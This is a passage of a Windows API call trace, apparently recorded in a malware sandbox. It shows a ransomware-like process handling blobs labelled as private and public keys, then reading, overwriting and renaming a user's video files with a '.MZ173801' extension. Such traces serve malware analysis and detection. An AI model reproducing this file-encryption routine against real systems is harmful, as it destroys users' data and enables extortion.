s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.188] GetCurrentThreadId () returned 0xab4 [0167.188] GetCurrentThreadId () returned 0xab4 [0167.188] GetCurrentThreadId () returned 0xab4 [0167.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.188] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.189] GetCurrentThreadId () returned 0xab4 [0167.189] GetCurrentThreadId () returned 0xab4 [0167.189] GetCurrentThreadId () returned 0xab4 [0167.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0167.189] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0167.189] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.189] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x9bf6 [0167.189] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0167.189] ReadFile (in: hFile=0x2f4, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x9bf6, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f1b4*=0x9bf6, lpOverlapped=0x0) returned 1 [0167.191] CloseHandle (hObject=0x2f4) returned 1 [0167.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0167.193] WriteFile (in: hFile=0x2f4, lpBuffer=0x24b1e70*, nNumberOfBytesToWrite=0x9bf6, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24b1e70*, lpNumberOfBytesWritten=0x19f1c0*=0x9bf6, lpOverlapped=0x0) returned 1 [0167.195] CloseHandle (hObject=0x2f4) returned 1 [0167.198] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\xWBAe007WO5EnzhrP2CH.mp4.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\z 7ggj8\\xwbae007wo5enzhrp2ch.mp4.mz173801")) returned 1 [0167.199] GetCurrentThreadId () returned 0xab4 [0167.199] GetCurrentThreadId () returned 0xab4 [0167.199] GetCurrentThreadId () returned 0xab4 [0167.200] GetCurrentThreadId () returned 0xab4 [0167.200] GetCurrentThreadId () returned 0xab4 [0167.200] GetCurrentThreadId () returned 0xab4 [0167.200] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda1eb770, ftCreationTime.dwHighDateTime=0x1d5ec07, ftLastAccessTime.dwLowDateTime=0x2f4c4120, ftLastAccessTime.dwHighDateTime=0x1d5e11f, ftLastWriteTime.dwLowDateTime=0x2f4c4120, ftLastWriteTime.dwHighDateTime=0x1d5e11f, nFileSizeHigh=0x0, nFileSizeLow=0x9bf6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="xWBAe007WO5EnzhrP2CH.mp4", cAlternateFileName="XWBAE0~1.MP4")) returned 0 [0167.200] GetLastError () returned 0x12 [0167.200] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0167.200] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\z 7ggJ8\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x8dcc20d3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8dcc20d3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0167.200] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0167.200] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.200] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x8dcc20d3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8dcc20d3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0167.200] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.200] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.200] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de53b80, ftCreationTime.dwHighDateTime=0x1d5eb27, ftLastAccessTime.dwLowDateTime=0xcac2eee0, ftLastAccessTime.dwHighDateTime=0x1d5e1e9, ftLastWriteTime.dwLowDateTime=0x8dad2143, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="bAQTMwTYFo4f.avi.MZ173801", cAlternateFileName="BAQTMW~1.MZ1")) returned 1 [0167.200] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.200] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.200] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53cc830, ftCreationTime.dwHighDateTime=0x1d5ec12, ftLastAccessTime.dwLowDateTime=0x2aae7360, ftLastAccessTime.dwHighDateTime=0x1d5f0f4, ftLastWriteTime.dwLowDateTime=0x8dbb7071, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x15b21, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="nS7qCk1FY_m2n6d8o2.flv.MZ173801", cAlternateFileName="NS7QCK~1.MZ1")) returned 1 [0167.200] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.200] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4672dd90, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0xddf000c0, ftLastAccessTime.dwHighDateTime=0x1d5e2b1, ftLastWriteTime.dwLowDateTime=0x8dc9be18, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x17ba5, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="t7GuLdHOG.avi.MZ173801", cAlternateFileName="T7GULD~1.MZ1")) returned 1 [0167.201] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.201] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda1eb770, ftCreationTime.dwHighDateTime=0x1d5ec07, ftLastAccessTime.dwLowDateTime=0x2f4c4120, ftLastAccessTime.dwHighDateTime=0x1d5e11f, ftLastWriteTime.dwLowDateTime=0x8dcc20d3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9bf6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="xWBAe007WO5EnzhrP2CH.mp4.MZ173801", cAlternateFileName="XWBAE0~1.MZ1")) returned 1 [0167.201] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0167.201] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda1eb770, ftCreationTime.dwHighDateTime=0x1d5ec07, ftLastAccessTime.dwLowDateTime=0x2f4c4120, ftLastAccessTime.dwHighDateTime=0x1d5e11f, ftLastWriteTime.dwLowDateTime=0x8dcc20d3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9bf6, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="xWBAe007WO5EnzhrP2CH.mp4.MZ173801", cAlternateFileName="XWBAE0~1.MZ1")) returned 0 [0167.201] GetLastError () returned 0x12 [0167.201] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b9886e0, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x77750230, ftLastAccessTime.dwHighDateTime=0x1d5ecf4, ftLastWriteTime.dwLowDateTime=0x77750230, ftLastWriteTime.dwHighDateTime=0x1d5ecf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="z 7ggJ8", cAlternateFileName="Z7GGJ8~1")) returned 0 [0167.201] GetLastError () returned 0x12 [0167.201] FindClose (in: hFindFile=0xa1b7a8 | out: 